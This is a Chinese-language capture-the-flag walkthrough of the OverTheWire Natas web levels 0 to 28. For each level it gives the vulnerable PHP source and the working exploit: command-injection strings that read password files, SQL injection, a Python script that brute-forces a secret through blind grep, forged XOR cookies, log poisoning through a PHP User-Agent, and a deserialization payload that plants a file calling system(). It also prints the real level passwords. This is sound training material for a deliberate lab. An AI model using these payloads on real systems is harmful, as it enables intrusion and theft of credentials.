Level 0

Username: natas0
Password: natas0

查看源码

image-20250814084643966

The password for natas1 is 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

Level 1

image-20250814084732269

限制右键可以f12,也可以直接访问

view-source:http://natas1.natas.labs.overthewire.org/
The password for natas2 is TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI

Level 2

image-20250814084928396

image-20250814085243164

发现存在file目录

image-20250814085324406

image-20250814085332828

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Level 3

image-20250814085431576

image-20250814085447846

No more information leaks!! Not even Google will find it this time...

说明写了robots.txt

image-20250814085518251

image-20250814085530063

natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Level 4

image-20250814085608630

修改referer即可

image-20250814085706128

Access granted. The password for natas5 is 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

Level 5

image-20250814085738804

可以看到请求包有个loggedin cookie,修改成1

image-20250814085850037

image-20250814085909429

Access granted. The password for natas6 is 0RoJwHdSKWFTYR5WuiAewauSuNaBXned

Level 6

image-20250814085956845

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

includes/secret.inc可以直接访问

image-20250814090541112

Access granted. The password for natas7 is bmg8SvU1LizuWjx3y7xkNERkHxGre0GS 

Level 7

image-20250814090629394

image-20250814090720110

url参数可以打SSRF

image-20250814090815188

xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q 

Level 8

image-20250814090944933

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

还原secret即可

<?php

$encodedSecret = "3d3d516343746d4d6d6c315669563362";
echo base64_decode(strrev(hex2bin($encodedSecret)));
#oubWYf2kBq
Access granted. The password for natas9 is ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t 

Level 9

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

直接注入命令即可

123;cat /etc/natas_webpass/natas10;

image-20250814091804706

t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Level 10

image-20250814091844332

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

限制了命令注入,直接任意匹配即可

"" /etc/natas_webpass/natas10

image-20250814092243928

natas11:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Level 11

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

默认data就是

array( "showpassword"=>"no", "bgcolor"=>"#ffffff")

首先拿到密钥

<?php
$plaintext = '{"showpassword":"no","bgcolor":"#ffffff"}';
$cookie = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D";
$ciphertext = base64_decode(urldecode($cookie));

$key = '';
for ($i=0; $i<strlen($plaintext); $i++) {
    $key .= $plaintext[$i] ^ $ciphertext[$i];
}
echo $key;
?>
#eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe

因为key是循环使用的,测试发现key是eDWoeDWoe

然后构造新的cookie

<?php
function xor_encrypt($in, $key) {
    $out = '';
    for ($i=0; $i<strlen($in); $i++) {
        $out .= $in[$i] ^ $key[$i % strlen($key)];
    }
    return $out;
}

$key = "eDWoeDWo";
$newdata = array("showpassword"=>"yes","bgcolor"=>"#ffffff");
$plaintext = json_encode($newdata);
$ciphertext = xor_encrypt($plaintext, $key);
echo base64_encode($ciphertext);
?>
#HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5

image-20250814095224527

The password for natas12 is yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

Level 12

image-20250814095311397

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

image-20250814100037652

直接伪造filename就能生成php扩展名的文件

image-20250814100135518

trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

Level 13

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

image-20250814100808267

加个GIF头即可

image-20250814100844312

z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ 

Level 14

image-20250814100926303

<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

没有waf的sql注入

admin" or 1=1#

image-20250814101331613

Successful login! The password for natas15 is SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Level 15

image-20250814101411711

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

打盲注,直接sqlmap

得到

hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

Level 16

image-20250814102715765

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

依然grep,内嵌一层grep

比如说

grep -i "$(grep ^a /etc/natas_webpass/natas17)" dictionary.txt

如果natas17的密码开头是a则返回其密码,但是字典里面没有他的密码,所以返回空

反之如果开头不是a,则中间grep查询为空,会返回整个dictionary.txt

脚本

import requests
import string

url = "http://natas16.natas.labs.overthewire.org/"
auth = ("natas16", "hPkjKYviLQctEW33QmuXL6eDVfMW4sGo")  # 你的账户密码
charset = string.ascii_letters + string.digits
password = ""

while len(password) < 64:
    for ch in charset:
        payload = f'$(grep ^{password}{ch} /etc/natas_webpass/natas17)'
        r = requests.get(url, auth=auth, params={"needle": payload, "submit": "Search"})
        # 判断返回内容中是否包含字典内容
        if "African" not in r.text:  # 假设 dictionary.txt 里有 "African"
            password += ch
            print(f"[+] Found so far: {password}")
            break

得到

EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

Level 17

image-20250814104032653

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

延时注入,依然sqlmap

6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ

Level 18

image-20250814104442716

<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>

会话id可以爆破

image-20250814104722256

Username: natas19
Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr

Level 19

image-20250814104759052

session变成了数字-admin 然后hex形式

import requests

url = "http://natas19.natas.labs.overthewire.org/index.php"
auth = ("natas19", "tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr")  # Replace with target creds

for session_id in range(1, 641):
    formatted_session_id = str(session_id) + '-admin'
    encoded_session_id = formatted_session_id.encode('utf-8').hex() 
    print(f"Current cookie: {encoded_session_id}")
    cookies = {"PHPSESSID": str(encoded_session_id)}
    response = requests.get(url, auth=auth, cookies=cookies)
    
    if "You are an admin" in response.text:
        print(f"Admin session found! PHPSESSID={session_id}")
        print(response.text)
        break
p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

Level 20

image-20250814105401261

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

session里面的admin为1即可

session是文件形式存储,按键值对存在,以空格分隔

http://natas20.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201&debug=1

image-20250814110151443

BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

Level 21

image-20250814110405229

image-20250814112450619

<?php

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

可以注入会话,修改第二个站session的admin为1,影响第一个站

curl -X POST -u 'natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH' -v 'http://natas21-experimenter.natas.labs.overthewire.org/?debug=1' -b 'PHPSESSID=413e96uk941o14rn1jb52ak29m' -d 'align=center&fontsize=100%25&bgcolor=yellow&admin=1&submit=Update'

curl -u 'natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH' -v 'http://natas21.natas.labs.overthewire.org/' -b 'PHPSESSID=413e96uk941o14rn1jb52ak29m'
Username: natas22
Password: d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz

Level 22

image-20250814152409489

<?php
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>


<?php
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?>

很简洁,看wp说是漏洞点在header("Location: /");

发起重定向的时候因为没有exit所以后续代码依然执行

image-20250814152833570

Username: natas23
Password: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs

Level 23

image-20250814152909123

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?> 

strstr查找字符串第一次出现的位置直到末尾,所以第一部分很容易满足,第二部分值大于10,若比较,传个大于10数字开头即可

11iloveyou

image-20250814153836230

Username: natas24 Password: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd

Level 24

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

依然是弱类型比较,传个数组即可

http://natas24.natas.labs.overthewire.org/?passwd[]=1
Username: natas25 Password: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws

Level 25

image-20250814154114625

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>

目录遍历,可以双写绕过下面这个部分

$filename=str_replace("../","",$filename)
http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//etc/passwd

image-20250814154719420

但是读密码被限制了

if(strstr($filename,"natas_webpass")){
           logRequest("Illegal file access detected! Aborting!");
           exit(-1);
       }

需要用到这个函数

function logRequest($message){
       $log="[". date("d.m.Y H::i:s",time()) ."]";
       $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
       $log=$log . " \"" . $message ."\"\n"; 
       $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
       fwrite($fd,$log);
       fclose($fd);
   }

记录请求信息到日志文件,用sessionid命名的,可以打日志包含

image-20250814155043525

记录的UA头

image-20250814155406142

GET /?lang=....//....//....//....//....//etc/passwd HTTP/1.1
Host: natas25.natas.labs.overthewire.org
User-Agent: <?php system("cat /etc/natas_webpass/natas26"); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==
Connection: keep-alive
Cookie: PHPSESSID=hkiikbq76h83ae36c21ks75v5p
Upgrade-Insecure-Requests: 1
Priority: u=0, i

image-20250814155434163

cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE

Level 26

image-20250814155521640

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"],
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) &&
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) &&
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>

反序列化

<?php

class Logger{
    private $logFile="/var/www/natas/natas26/img/natas26_p9gepfibsudb5veomkrsoa6akf.php";
    private $exitMsg="<?php echo system('cat /etc/natas_webpass/natas27'); ?>";
}

$a = new Logger();
echo base64_encode(serialize($a));
Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo2NToiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbmF0YXMyNl9wOWdlcGZpYnN1ZGI1dmVvbWtyc29hNmFrZi5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo1NToiPD9waHAgZWNobyBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7fQ==

image-20250814160351469

u3RRffXjysjgwFU6b9xa23i6prmUsYne

Level 27

<?php

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>

MySQL 默认情况下会静默截断超过列定义长度的字符串,例如:username列定义为varchar(64),输入65字符会被截断

创建用户名如natas28 +57个空格 + x(共65字符),MySQL会截断为natas28 + 57个空格

然后在mysql中’natas28’=’natas28+空格’

image-20250814161501177

然后使用natas28 123登录

1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj

Level 28

image-20250814162313597

输入个1url变成了

http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLP9baIk2Ue8NLFHkisvCsovfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLP9baIk2Ue8NLFHkisvCsovfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=

应该是AES